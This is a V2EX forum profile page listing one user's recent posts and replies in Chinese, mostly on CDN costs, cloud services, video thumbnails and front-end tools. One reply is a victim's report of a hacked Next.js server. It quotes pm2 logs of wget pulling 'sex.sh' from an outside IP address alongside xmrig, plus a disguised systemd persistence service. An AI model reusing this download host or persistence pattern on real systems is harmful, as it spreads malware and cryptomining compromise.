fwh's recent timeline updates

fwh

V2EX member #530572, joined on 2021-01-26 17:34:24 +08:00

Today's activity rank 6407

fwh 提问技术话题好玩工作信息交易信息城市相关

6000 左右价位的笔记本目前有推荐吗？

买买买 • fwh • Feb 24, 2024 • Lastly replied by litguy

微信个人小程序也要认证了， 30 元一年

微信 • fwh • Nov 13, 2023 • Lastly replied by fwh

» More topics by fwh

fwh's recent replies

Dec 25, 2025

Replied to a topic by Nexora › 云计算 › 每个月 CDN 使用量 200TB，正常吗

如果设计网站有这么大的量，用户应该有很多吧

Dec 5, 2025

Replied to a topic by june4 › 信息安全 › 一定要马上立刻升级 react ，平生第一次中招！

我的也是，nextjs 项目目录下多了 sex.sh 、xmrig 这几个文件，这是 pm2 日志记录，也不知道怎么攻击的

2025-12-05T13:20:27: --2025-12-05 13:18:47-- http://46.36.37.85:12000/sex.sh
2025-12-05T13:20:27: Connecting to 46.36.37.85:12000... connected.
2025-12-05T13:20:27: HTTP request sent, awaiting response... 200 OK
2025-12-05T13:20:27: Length: 1621 (1.6K) [application/x-sh]
2025-12-05T13:20:27: Saving to: ‘sex.sh’
2025-12-05T13:20:27:
2025-12-05T13:20:27: 0K . 100% 171M=0s
2025-12-05T13:20:27:
2025-12-05T13:20:27: 2025-12-05 13:18:47 (171 MB/s) - ‘sex.sh’ saved [1621/1621]
2025-12-05T13:20:27:
2025-12-05T13:20:27: % Total % Received % Xferd Average Speed Time Time Time Current
2025-12-05T13:20:27: Dload Upload Total Spent Left Speed
2025-12-05T13:20:27:

98 3439k 98 3400k 0 0 35755 0 0:01:38 0:01:37 0:00:01 26312
99 3439k 99 3426k 0 0 35697 0 0:01:38 0:01:38 --:--:-- 23629
100 3439k 100 3439k 0 0 35653 0 0:01:38 0:01:38 --:--:-- 24491
2025-12-05T13:20:27: Created symlink /etc/systemd/system/multi-user.target.wants/system-update-service.service → /etc/systemd/system/system-update-service.service.
2025-12-05T13:20:28: --2025-12-05 13:20:27-- http://46.36.37.85:12000/sex.sh
2025-12-05T13:20:28: Connecting to 46.36.37.85:12000... connected.
2025-12-05T13:20:28: HTTP request sent, awaiting response... 200 OK
2025-12-05T13:20:28: Length: 1621 (1.6K) [application/x-sh]
2025-12-05T13:20:28: Saving to: ‘sex.sh.1’
2025-12-05T13:20:28:
2025-12-05T13:20:28: 0K . 100% 198M=0s
2025-12-05T13:20:28:
2025-12-05T13:20:28: 2025-12-05 13:20:27 (198 MB/s) - ‘sex.sh.1’ saved [1621/1621]
2025-12-05T13:20:28:

Dec 5, 2025

Replied to a topic by iorilu › 程序员 › 我有个想法, 就是现在应该发明一种专用于大模型生成的语言

https://www.moonbitlang.com/

Nov 12, 2025

Replied to a topic by julyclyde › 云计算 › 腾讯云这几个功能是不是重复了

不重复，定位不一样，文档里也说了云函数适合文件数据处理，而且运行时也不一样

Sep 28, 2025

Replied to a topic by sandovaljarvis › 程序员 › 时隔一年多证件照小程序新增了正装美颜功能

请问下正装是怎么实现的？用的第三方 api 吗

Sep 15, 2025

Replied to a topic by wsen03568 › 云计算 › 使用阿里云 CDN，需要回源到 OSS，回源费用的计算逻辑？

@jqknono 阿里云海外版的 ESA 回源 OSS 免流量费吗？国内是收费的

Apr 1, 2025

Replied to a topic by anxing › 程序员 › 有什么好的、好看点开源帮助/客服文档管理系统推荐

https://mintlify.com/ 看看这个

Mar 4, 2025

Replied to a topic by CodeCaster › 程序员 › 请问，有什么站点可以画简单草图出前端页面的？

bolt.new 和 v0.dev 还不错，有免费额度可以用

Dec 25, 2024

Replied to a topic by daydream01 › 程序员 › 有没有哪个 js 库可以创建带有缩略图的进度条？

在线播放的基本都是提前生成缩略图，然后制作 vtt 成格式文件，类似下面这样，是一张 Sprite 大图，支持的播放器会根据位置自动调整
WEBVTT

00:00:00.000 --> 00:00:04.629
storyboard.jpg#xywh=0,0,284,160

00:00:04.629 --> 00:00:09.258
storyboard.jpg#xywh=284,0,284,160

Sprite 可以用 ffmpeg 制作
ffmpeg -i input.mp4 -vf fps=1,scale=180:101,tile=5x10 storyboard.jpg

js 播放器可以看下这个
https://vidstack.io/docs/player/core-concepts/loading/?styling=default-theme#thumbnails

Dec 24, 2024

Replied to a topic by kkkaaa › 程序员 › 大佬们有个需求咨询，同一视频选择不同的分辨率播放这个功能要怎么实现的

现在有个 CMAF 标准，统一了 dash 和 hls ，两种格式，用同一个源，转码一次就行
https://www.bento4.com/developers/cmaf/

» More replies by fwh